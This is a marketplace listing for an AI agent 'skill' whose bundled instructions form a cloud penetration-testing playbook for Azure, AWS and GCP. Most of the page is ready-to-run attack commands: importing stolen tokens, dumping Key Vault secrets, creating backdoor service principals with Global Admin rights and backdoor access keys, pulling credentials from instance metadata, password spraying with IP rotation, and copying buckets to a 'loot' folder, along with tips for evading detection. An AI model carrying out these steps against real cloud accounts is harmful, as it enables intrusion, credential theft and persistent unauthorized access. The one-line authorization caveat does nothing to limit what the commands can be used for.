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Cloud Penetration Testing

CommunityPopular
zebbern
cloud-penetration-testing

This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.

Overview

Publisherzebbern
Repositoryclaude-code-guide
Skill namecloud-penetration-testing
Stars
4.6K
Forks
464
Bundled files
1
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by zebbern on GitHub. Read the source before you install it.

Installation

Install the Cloud Penetration Testing AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/zebbern/claude-code-guide.git /tmp/claude-code-guide
mkdir -p .claude/skills
cp -r /tmp/claude-code-guide/skills/cloud-penetration-testing .claude/skills/cloud-penetration-testing
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Cloud Penetration Testing in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Cloud Penetration Testing on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Cloud Penetration Testing is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Cloud Penetration Testing

Purpose

Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.

Prerequisites

Required Tools

bash
# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force

# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# GCP CLI
curl https://sdk.cloud.google.com | bash
gcloud init

# Additional tools
pip install scoutsuite pacu

Required Knowledge

  • Cloud architecture fundamentals
  • Identity and Access Management (IAM)
  • API authentication mechanisms
  • DevOps and automation concepts

Required Access

  • Written authorization for testing
  • Test credentials or access tokens
  • Defined scope and rules of engagement

Outputs and Deliverables

  1. Cloud Security Assessment Report - Comprehensive findings and risk ratings
  2. Resource Inventory - Enumerated services, storage, and compute instances
  3. Credential Findings - Exposed secrets, keys, and misconfigurations
  4. Remediation Recommendations - Hardening guidance per platform

Core Workflow

Phase 1: Reconnaissance

Gather initial information about target cloud presence:

bash
# Azure: Get federation info
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"

# Azure: Get Tenant ID
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"

# Enumerate cloud resources by company name
python3 cloud_enum.py -k targetcompany

# Check IP against cloud providers
cat ips.txt | python3 ip2provider.py

Phase 2: Azure Authentication

Authenticate to Azure environments:

powershell
# Az PowerShell Module
Import-Module Az
Connect-AzAccount

# With credentials (may bypass MFA)
$credential = Get-Credential
Connect-AzAccount -Credential $credential

# Import stolen context
Import-AzContext -Profile 'C:\Temp\StolenToken.json'

# Export context for persistence
Save-AzContext -Path C:\Temp\AzureAccessToken.json

# MSOnline Module
Import-Module MSOnline
Connect-MsolService

Phase 3: Azure Enumeration

Discover Azure resources and permissions:

powershell
# List contexts and subscriptions
Get-AzContext -ListAvailable
Get-AzSubscription

# Current user role assignments
Get-AzRoleAssignment

# List resources
Get-AzResource
Get-AzResourceGroup

# Storage accounts
Get-AzStorageAccount

# Web applications
Get-AzWebApp

# SQL Servers and databases
Get-AzSQLServer
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG

# Virtual machines
Get-AzVM
$vm = Get-AzVM -Name "VMName"
$vm.OSProfile

# List all users
Get-MSolUser -All

# List all groups
Get-MSolGroup -All

# Global Admins
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember -GroupObjectId $GUID

# Service Principals
Get-MsolServicePrincipal

Phase 4: Azure Exploitation

Exploit Azure misconfigurations:

powershell
# Search user attributes for passwords
$users = Get-MsolUser -All
foreach($user in $users){
    $props = @()
    $user | Get-Member | foreach-object{$props+=$_.Name}
    foreach($prop in $props){
        if($user.$prop -like "*password*"){
            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
        }
    }
}

# Execute commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1

# Extract VM UserData
$vms = Get-AzVM
$vms.UserData

# Dump Key Vault secrets
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>

Phase 5: Azure Persistence

Establish persistence in Azure:

powershell
# Create backdoor service principal
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)

# Add service principal to Global Admin
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId

# Login as service principal
$cred = Get-Credential  # AppID as username, secret as password
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal

# Create new admin user via CLI
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>

Phase 6: AWS Authentication

Authenticate to AWS environments:

bash
# Configure AWS CLI
aws configure
# Enter: Access Key ID, Secret Access Key, Region, Output format

# Use specific profile
aws configure --profile target

# Test credentials
aws sts get-caller-identity

Phase 7: AWS Enumeration

Discover AWS resources:

bash
# Account information
aws sts get-caller-identity
aws iam list-users
aws iam list-roles

# S3 Buckets
aws s3 ls
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local-dir

# EC2 Instances
aws ec2 describe-instances

# RDS Databases
aws rds describe-db-instances --region us-east-1

# Lambda Functions
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name <name>

# EKS Clusters
aws eks list-clusters --region us-east-1

# Networking
aws ec2 describe-subnets
aws ec2 describe-security-groups --group-ids <sg-id>
aws directconnect describe-connections

Phase 8: AWS Exploitation

Exploit AWS misconfigurations:

bash
# Check for public RDS snapshots
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
# AttributeValues = "all" means publicly accessible

# Extract Lambda environment variables (may contain secrets)
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'

# Access metadata service (from compromised EC2)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 access
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"

Phase 9: AWS Persistence

Establish persistence in AWS:

bash
# List existing access keys
aws iam list-access-keys --user-name <username>

# Create backdoor access key
aws iam create-access-key --user-name <username>

# Get all EC2 public IPs
for region in $(cat regions.txt); do
    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
done

Phase 10: GCP Enumeration

Discover GCP resources:

bash
# Authentication
gcloud auth login
gcloud auth activate-service-account --key-file creds.json
gcloud auth list

# Account information
gcloud config list
gcloud organizations list
gcloud projects list

# IAM Policies
gcloud organizations get-iam-policy <org-id>
gcloud projects get-iam-policy <project-id>

# Enabled services
gcloud services list

# Source code repos
gcloud source repos list
gcloud source repos clone <repo>

# Compute instances
gcloud compute instances list
gcloud beta compute ssh --zone "region" "instance" --project "project"

# Storage buckets
gsutil ls
gsutil ls -r gs://bucket-name
gsutil cp gs://bucket/file ./local

# SQL instances
gcloud sql instances list
gcloud sql databases list --instance <id>

# Kubernetes
gcloud container clusters list
gcloud container clusters get-credentials <cluster> --region <region>
kubectl cluster-info

Phase 11: GCP Exploitation

Exploit GCP misconfigurations:

bash
# Get metadata service data
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"

# Check access scopes
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'

# Decrypt data with keyring
gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global

# Serverless function analysis
gcloud functions list
gcloud functions describe <name>
gcloud functions logs read <name> --limit 100

# Find stored credentials
sudo find /home -name "credentials.db"
sudo cp -r /home/user/.config/gcloud ~/.config
gcloud auth list

Quick Reference

Azure Key Commands

ActionCommand
LoginConnect-AzAccount
List subscriptionsGet-AzSubscription
List usersGet-MsolUser -All
List groupsGet-MsolGroup -All
Current rolesGet-AzRoleAssignment
List VMsGet-AzVM
List storageGet-AzStorageAccount
Key Vault secretsaz keyvault secret list --vault-name <name>

AWS Key Commands

ActionCommand
Configureaws configure
Caller identityaws sts get-caller-identity
List usersaws iam list-users
List S3 bucketsaws s3 ls
List EC2aws ec2 describe-instances
List Lambdaaws lambda list-functions
Metadatacurl http://169.254.169.254/latest/meta-data/

GCP Key Commands

ActionCommand
Logingcloud auth login
List projectsgcloud projects list
List instancesgcloud compute instances list
List bucketsgsutil ls
List clustersgcloud container clusters list
IAM policygcloud projects get-iam-policy <project>
Metadatacurl -H "Metadata-Flavor: Google" http://metadata.google.internal/...

Metadata Service URLs

ProviderURL
AWShttp://169.254.169.254/latest/meta-data/
Azurehttp://169.254.169.254/metadata/instance?api-version=2018-02-01
GCPhttp://metadata.google.internal/computeMetadata/v1/

Useful Tools

ToolPurpose
ScoutSuiteMulti-cloud security auditing
PacuAWS exploitation framework
AzureHoundAzure AD attack path mapping
ROADToolsAzure AD enumeration
WeirdAALAWS service enumeration
MicroBurstAzure security assessment
PowerZureAzure post-exploitation

Constraints and Limitations

Legal Requirements

  • Only test with explicit written authorization
  • Respect scope boundaries between cloud accounts
  • Do not access production customer data
  • Document all testing activities

Technical Limitations

  • MFA may prevent credential-based attacks
  • Conditional Access policies may restrict access
  • CloudTrail/Activity Logs record all API calls
  • Some resources require specific regional access

Detection Considerations

  • Cloud providers log all API activity
  • Unusual access patterns trigger alerts
  • Use slow, deliberate enumeration
  • Consider GuardDuty, Security Center, Cloud Armor

Examples

Example 1: Azure Password Spray

Scenario: Test Azure AD password policy

powershell
# Using MSOLSpray with FireProx for IP rotation
# First create FireProx endpoint
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

# Spray passwords
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox

Example 2: AWS S3 Bucket Enumeration

Scenario: Find and access misconfigured S3 buckets

bash
# List all buckets
aws s3 ls | awk '{print $3}' > buckets.txt

# Check each bucket for contents
while read bucket; do
    echo "Checking: $bucket"
    aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt

# Download interesting bucket
aws s3 sync s3://misconfigured-bucket ./loot/

Example 3: GCP Service Account Compromise

Scenario: Pivot using compromised service account

bash
# Authenticate with service account key
gcloud auth activate-service-account --key-file compromised-sa.json

# List accessible projects
gcloud projects list

# Enumerate compute instances
gcloud compute instances list --project target-project

# Check for SSH keys in metadata
gcloud compute project-info describe --project target-project | grep ssh

# SSH to instance
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project

Troubleshooting

IssueSolutions
Authentication failuresVerify credentials; check MFA; ensure correct tenant/project; try alternative auth methods
Permission deniedList current roles; try different resources; check resource policies; verify region
Metadata service blockedCheck IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254
Rate limitingAdd delays; spread across regions; use multiple credentials; focus on high-value targets

References

  • Advanced Cloud Scripts - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Cloud Penetration Testing AI skill do?

This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.

Why use Cloud Penetration Testing on TypingMind?

Because you install it once and use it with any model. Cloud Penetration Testing is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Cloud Penetration Testing in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/zebbern/claude-code-guide/tree/main/skills/cloud-penetration-testing. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Cloud Penetration Testing?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Cloud Penetration Testing?

As many as you like. As long as a model supports skills, you can use Cloud Penetration Testing with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Cloud Penetration Testing AI skill free?

Yes. It is published on GitHub by zebbern under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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